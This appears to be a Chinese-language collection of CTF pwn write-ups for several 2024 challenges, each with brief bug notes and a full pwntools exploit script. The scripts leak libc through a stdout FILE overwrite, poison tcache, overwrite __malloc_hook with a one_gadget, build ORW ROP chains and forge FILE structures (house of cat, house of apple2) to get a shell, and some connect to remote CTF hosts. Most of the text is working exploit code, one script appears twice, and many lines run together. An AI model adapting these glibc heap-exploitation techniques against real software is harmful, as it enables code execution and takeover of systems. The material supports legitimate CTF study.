mixian
数组越界,可以去攻击stdout泄露libc,之后伪随机数绕过
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():gdb.attach(p)pause()
def s(a):p.send(a)
def sa(a,b):p.sendafter(a,b)
def sl(a):p.sendline(a)
def sla(a,b):p.sendlineafter(a,b)
def r(a):p.recv(a)
#def pr(a):#print(p.recv(a))
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def get_addr64():return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():return u32(p.recvuntil("\xf7")[-4:])
def get_sb():return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/root/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6')
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')elf1=ctypes.CDLL("./libc-2.31.so")
elf1.srand(elf1.time(0))
payload = elf1.rand()%9011rl("Which question do you want to answer?")
#bug()
sl(str(-8))
rl("Then you can input your answer.")sl(p64(0xfbad1800) + p64(0)*3 + b'\x00')libc_base=get_addr64()-2013568
li(hex(libc_base))puts=libc_base+libc.sym['puts']rl("Which question do you want to answer?")sl(str(3))
rl("Then you can input your answer.")tar=puts+payload
sl(p64(tar))rl("Which question do you want to answer?")
#bug()
sl(str(3))
rl("Then you can input your answer.")tar=puts+payload
sl(p64(tar))
inter()
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():gdb.attach(p)pause()
def s(a):p.send(a)
def sa(a,b):p.sendafter(a,b)
def sl(a):p.sendline(a)
def sla(a,b):p.sendlineafter(a,b)
def r(a):p.recv(a)
#def pr(a):#print(p.recv(a))
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def get_addr64():return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():return u32(p.recvuntil("\xf7")[-4:])
def get_sb():return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/root/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6')
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')elf1=ctypes.CDLL("./libc-2.31.so")
elf1.srand(elf1.time(0))
payload = elf1.rand()%9011rl("Which question do you want to answer?")
#bug()
sl(str(-8))
rl("Then you can input your answer.")sl(p64(0xfbad1800) + p64(0)*3 + b'\x00')libc_base=get_addr64()-2013568
li(hex(libc_base))puts=libc_base+libc.sym['puts']rl("Which question do you want to answer?")sl(str(3))
rl("Then you can input your answer.")tar=puts+payload
sl(p64(tar))rl("Which question do you want to answer?")
#bug()
sl(str(3))
rl("Then you can input your answer.")tar=puts+payload
sl(p64(tar))
inter()
tcache stashing unlink attack
攻击成效:向任意地址写堆地址或分配任意地址
攻击前提:
能够控制S m a l l B i n c h u n k \textcolor{orange}{Small\ Bin\ chunk}Small Bin chunk的bk指针
程序可以越过Tache取chunk。(calloc可以做到)
程序可以分配两种不同大小且属于U n s o r t e d B i n \textcolor{orange}{Unsorted\ Bin}Unsorted Bin的chunk
大致是说,当我们从small bin拿出来chunk的时候,程序会检查当前small bin链上是否还有剩余堆块,如果有的话并且tcache bin的链上还有空余位置(前提是不能为空,不然即使有空余也不行),就会把剩下的堆块链进tcachebin里面,但是链进去的时候没有进行链表的检查,所以我们可以在这个时候攻击这个即将链进tcachebin的堆块的bk指针,就可以达到任意地址写一个main_arena的效果。
任意地址写之后一个栈溢出,打orw的链子
关键:进入smallbin的chunk大小等于tcachebin中堆块数量为6的堆块大小
tcache_stashing_unlink_attack的两种效果 - s4ndw1ch - 博客园
add calloc申请堆块
uaf
from pwn import*
from struct import pack
#from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#p=remote('gamebox.yunyansec.com',39855)
p=process('./pwn')
libc=ELF("./libc.so.6")
elf=ELF('./pwn')
def bug():gdb.attach(p)pause()
def s(a):p.send(a)
def sa(a,b):p.sendafter(a,b)
def sl(a):p.sendline(a)
def sla(a,b):p.sendlineafter(a,b)
def r(a):p.recv(a)
def pr(a):print(p.recv(a))
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def get_addr64():return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():return u32(p.recvuntil("\xf7")[-4:])
def get_sb():return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')def add(size):rl("Your choice:")sl(str(1))rl("size:")sl(str(size))def free(index):rl("Your choice:")sl(str(2))rl("Idx:")sl(str(index))def edit(index,content):rl("Your choice:")sl(str(3))rl("Idx:")sl(str(index))rl("Content:")s(content)def show(index):rl("Your choice:")sl(str(4))rl("Idx:")sl(str(index))for i in range(10):#0-9add(0x310)
for i in range(6):free(i)for i in range(5):#10-14add(0xc8)
for i in range(5):free(9+i)free(6)
show(6)libc_base=get_addr64()-2018272
li(hex(libc_base))add(0x241)#15
add(0x310)#16
#smallbin1 #7free(8)add(0x241)
add(0x310)
rl('Add Ptr: ')
rl('0x')
heap=int(p.recv(6),16)-4464
li(hex(heap))bss=0x4040c0
edit(8,b'a'*0x240+p64(0)+p64(0xd0)+p64(heap)+p64(bss-0x10))add(0xc0)rl("Your choice:")
sl(str(5))system,bin=get_sb()
rdi = libc_base+libc.search(asm("pop rdi\nret")).__next__()
rsi = libc_base+libc.search(asm("pop rsi\nret")).__next__()
rax = libc_base+libc.search(asm("pop rax\nret")).__next__()
#rdx = libc_base+libc.search(asm("pop rdx\nret")).__next__()
rdx = libc_base+libc.search(asm("pop rdx\npop r12\nret")).__next__()
read_addr=libc_base+libc.sym['read']
open_addr=libc_base+libc.sym['open']
write_addr=libc_base+libc.sym['write']bss=0x404080+0x200
leave_ret=0x0000000000401324pay=b'a'*0x30+p64(bss)+p64(rdi)+p64(0)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x1000)*2+p64(read_addr)+p64(leave_ret)
#bug()
s(pay)payload =b'/flag\x00\x00\x00'
payload +=p64(rdi)
payload +=p64(bss)
payload +=p64(rsi)
payload +=p64(0)
payload +=p64(open_addr)payload +=p64(rdi)
payload +=p64(3)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx)
payload +=p64(0x100)*2
payload +=p64(read_addr)payload +=p64(rdi)
payload +=p64(1)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx)
payload +=p64(0x100)*2
payload +=p64(write_addr)
pause()
s(payload)inter()
no_leak_heap_challenge
只有add,free两个功能,add大小,free存在uaf,给出堆块地址,有后门地址
得不到libc地址,一种新的攻击方法
思路:通过申请大块的堆块,利用指针残留得到mainarea的地址,去修改后三位为malloc_hook,修改malloc_hook为后门
注意堆块布局
堆块1content伪造好size,chunk3,4利用fastbinattack,将伪造的size堆块申请出来,可以修改下一个堆块的fd和size位,利用这样修改mainarea,同时伪造malloc_hook的size
b'\x00'*0x58+p64(0x71)+p16(0x4aed)
chunk1 | 0x68 |
p64(0) | p64(0x71) |
chunk2 | 0x300 |
chunk3 | 0x68 |
chunk4 | 0x68 |
chunk5 | 0x18 |
第二次fastbinattack攻击malloc_hook为后门
mini_notebook
2.31
add,free,show,edit四个功能,一个区间只能申请一个堆块,存在uaf
add只能申请<0x38的堆块
edit可以造成double free完成tcachebin attack
先利用tcachebin attack攻击指针区,更改为7,之后free就会进入unsrtdbin,就可以得到libc地址
之后再次利用tcachebin攻击,更改malloc_hook为one获取shell
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():gdb.attach(p)pause()
def s(a):p.send(a)
def sa(a,b):p.sendafter(a,b)
def sl(a):p.sendline(a)
def sla(a,b):p.sendlineafter(a,b)
def r(a):p.recv(a)
#def pr(a):#print(p.recv(a))
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def get_addr64():return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():return u32(p.recvuntil("\xf7")[-4:])
def get_sb():return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
p=remote('gz.imxbt.cn',20320)
#p = process('./pwn')def add(size):rl(">>> ")sl(str(1))rl("size???")sl(str(size))
def free():rl(">>> ")sl(str(2))
def show():rl(">>> ")sl(str(3))
def edit(content):rl(">>> ")sl(str(4))rl("content???")s(content)add(0x38)
free()edit(p64(0)*2)
free()
show()
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x2a0
li(hex(heap_base))
edit(p64(heap_base+0x030))
add(0x28)
free()
#bug()
add(0x38)
add(0x38)
edit(p64(0)*5+p64(0x7000000000000))add(0x38)
free()
edit(p64(0)*2)
free()
edit(p64(heap_base+0x010))add(0x38)
add(0x38)free()
show()
libc_base=get_addr64()-2018272
li(hex(libc_base))
system,bin_sh=get_sb()
malloc_hook,free_hook=get_hook()
one = libc_base + 0xe3b01
edit(p64(0x30000))add(0x28)
free()
edit(p64(0)*2)
free()
edit(p64(malloc_hook))add(0x28)
add(0x28)
edit(p64(one))#bug()
add(0x28)
inter()
one_heap
2.39
add,free,show三个功能
add有大小限制,只能申请一个堆块
free存在uaf
show最后会清空堆块中的内容,可以完成double free的操作
思路:
tcachebin attack攻击tcachebin指针区,并设置好bins,也就是之后申请堆块的起始地址
这里要提前设置好bins,否则之后没办法申请,总之,各种报错
中间的flag检测,因为可以double free,所以=没有
得到libc地址后继续申请堆块,去控制tcache的entires(已经布置好了)之后攻击_IO_list_all,走apple2或者cat都可以
一个堆块塞不完完整的fake_io,设置两个连着的堆块,打house of cat
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():gdb.attach(p)pause()
def s(a):p.send(a)
def sa(a,b):p.sendafter(a,b)
def sl(a):p.sendline(a)
def sla(a,b):p.sendlineafter(a,b)
def r(a):p.recv(a)
#def pr(a):#print(p.recv(a))
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def get_addr64():return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():return u32(p.recvuntil("\xf7")[-4:])
def get_sb():return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')def add(size,content):rl("Please input you choice: ")sl(str(1))rl("Please input size:")sl(str(size))rl("input you context:")s(content)def free():rl("Please input you choice: ")sl(str(2))def magic():rl("Please input you choice: ")sl(str(3))add(0xff,b'a'*0x28)
free()
magic()
rl("If you feel lost, you may as well empty everything and start over")
p.recv(1)
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x2a0
key=heap_base&0xfffffffffffff000
li(hex(key))
li(hex(heap_base))
heap_xor=(heap_base+0x2a0>>12)^(heap_base+0x10)
add(0xff,b'a'*0x28)
for i in range(7):free()magic()free()
add(0x68,p64(heap_xor))
add(0xff,b'a')
add(0xff,p64(0)*4+p16(7)*48+p64(0)*14+p64(heap_base+0xf0))
#bug()
free()
add(0x98,p16(7)*56)
add(0x58,b'a')magic()libc_base=get_addr64()-2112288
li(hex(libc_base))
system,bin_sh=get_sb()heap1=heap_base+0x3b0
heap2=heap_base+0x3b0+0xf0
ret = libc_base+libc.search(asm("ret")).__next__()
rdi = libc_base+libc.search(asm("pop rdi\nret")).__next__()
rsi = libc_base+libc.search(asm("pop rsi\nret")).__next__()
rax = libc_base+libc.search(asm("pop rax\nret")).__next__()
rdx = libc_base+libc.search(asm("pop rdx\nret")).__next__()
#rdx = libc_base+libc.search(asm("pop rdx\npop r12\nret")).__next__()
syscall=libc_base+libc.search(asm("syscall\nret")).__next__()
system,binsh=get_sb()
open=libc_base+libc.sym['open']
read=libc_base + libc.sym['read']
write=libc_base + libc.sym['write']
setcontext=libc_base + libc.sym['setcontext']
_IO_list_all=libc_base+libc.sym['_IO_list_all']
_IO_wfile_jumps =libc_base+libc.sym['_IO_wfile_jumps']chunk3=heap1 # 伪造的fake_IO结构体的地址fake_IO_FILE =p64(0)*8
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(chunk3+0xb0) #_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext+61)#call addr (system/setcontext)
fake_IO_FILE +=p64(0) #_markers
fake_IO_FILE +=p64(0) #_chain
fake_IO_FILE +=p64(0) #_fileno
fake_IO_FILE +=p64(0) #_old_offset
fake_IO_FILE +=p64(0) #_cur_column
fake_IO_FILE +=p64(heap_base-0x2a0) # _lock = writable address
fake_IO_FILE =fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE +=p64(chunk3+0x30) #_wide_data,rax1_addr
fake_IO_FILE =fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE +=p64(1) # _mode = 1
fake_IO_FILE =fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE +=p64(_IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*3li(hex(len(fake_IO_FILE)))
add(0xf8,b'a'*8+p64(_IO_list_all)+p64(heap1)+p64(heap2))
add(0xe8,p64(heap1))add(0xf8,fake_IO_FILE)fake_IO_FILE =p64(0)*4 # padding
fake_IO_FILE +=p64(chunk3+0x40) # rax2>>setcontext
fake_IO_FILE +=b'/flag\x00\x00\x00'+p64(0)*6+p64(chunk3+0x158)+p64(rdi+1)+p64(rdi)+p64(bin_sh)+p64(system)
add(0xff,fake_IO_FILE)
bug()
rl("Please input you choice: ")
sl(str(5))inter()
还可以打house of apple2
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():gdb.attach(p)pause()
def s(a):p.send(a)
def sa(a,b):p.sendafter(a,b)
def sl(a):p.sendline(a)
def sla(a,b):p.sendlineafter(a,b)
def r(a):p.recv(a)
#def pr(a):#print(p.recv(a))
def rl(a):return p.recvuntil(a)
def inter():p.interactive()
def get_addr64():return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():return u32(p.recvuntil("\xf7")[-4:])
def get_sb():return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
p=remote('gz.imxbt.cn',20980)
#p = process('./pwn')def add(size,content):rl("Please input you choice: ")sl(str(1))rl("Please input size:")sl(str(size))rl("input you context:")s(content)def free():rl("Please input you choice: ")sl(str(2))def magic():rl("Please input you choice: ")sl(str(3))add(0xf0,b'a')
free()
magic()
rl("If you feel lost, you may as well empty everything and start over")
p.recv(1)
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x2a0
key=heap_base&0xfffffffffffff000
li(hex(key))
li(hex(heap_base))
heap_xor=(heap_base+0x2a0>>12)^(heap_base+0x10)
free()
magic()free()
add(0xf0,p64(heap_xor))
add(0xf0,b'a')
add(0xf0,p16(1)*7+p16(8)+b'\0'*(0x70-8)+p64(0x91)+p64(0)*7+p64(heap_base+0x90))
for i in range(7):free()magic()
free()
add(0x98,p16(1)*8+p64(0)*14+p64(heap_base+0x90)*3)
add(0x58,p64(0))
magic()libc_base=get_addr64()-2112288
li(hex(libc_base))
system,bin_sh=get_sb()heap1=heap_base+0x2a0
heap2=heap_base+0x2a0+0x80ret = libc_base+libc.search(asm("ret")).__next__()
rdi = libc_base+libc.search(asm("pop rdi\nret")).__next__()
rsi = libc_base+libc.search(asm("pop rsi\nret")).__next__()
rax = libc_base+libc.search(asm("pop rax\nret")).__next__()
rdx = libc_base+libc.search(asm("pop rdx\nret")).__next__()
#rdx = libc_base+libc.search(asm("pop rdx\npop r12\nret")).__next__()
syscall=libc_base+libc.search(asm("syscall\nret")).__next__()
system,binsh=get_sb()
open=libc_base+libc.sym['open']
read=libc_base + libc.sym['read']
write=libc_base + libc.sym['write']
setcontext=libc_base + libc.sym['setcontext']
_IO_list_all=libc_base+libc.sym['_IO_list_all']
_IO_wfile_jumps =libc_base+libc.sym['_IO_wfile_jumps']fake_file_addr = heap1+0x10 #chunk1
# ref: https://blog.csome.cc/p/houseofminho-wp/
fake_file = flat({0x0: b" sh;",0x28: system,0xa0: fake_file_addr-0x10, # wide data0x88: fake_file_addr+0x100, # 可写,且内存为0即可0xD0: fake_file_addr+0x28-0x68, # wide data vtable0xD8: _IO_wfile_jumps, # vtable
}, filler=b"\x00")fake_file = b'\0'*16+fake_file
li(hex(len(fake_file)))
add(0x38,p64(_IO_list_all)+p64(0)*4+p64(heap1)+p64(heap2))add(0x18, p64(fake_file_addr))
add(0x68, fake_file[:0x68])
add(0x78, fake_file[0x80:0x80+0x78])
#bug()
rl("Please input you choice: ")
sl(str(4))inter()
参考:
[蜀道山2024] PWN-CSDN博客
蜀道山CTF-PWN全解WP - ZLSF的博客
[Black Hat 2023] Pwn Houseofminho Csome writeup · Csome